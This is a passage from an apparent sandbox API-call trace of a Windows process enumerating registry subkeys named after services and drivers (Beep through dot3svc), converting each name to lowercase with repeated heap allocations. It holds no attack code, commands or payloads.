lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.252] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.253] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.253] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0260.253] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.254] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.254] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0260.254] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.254] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.255] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.255] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.255] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.256] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.256] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0260.256] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.256] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.257] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0260.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0260.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0260.257] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0260.258] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0260.259] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0260.260] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: 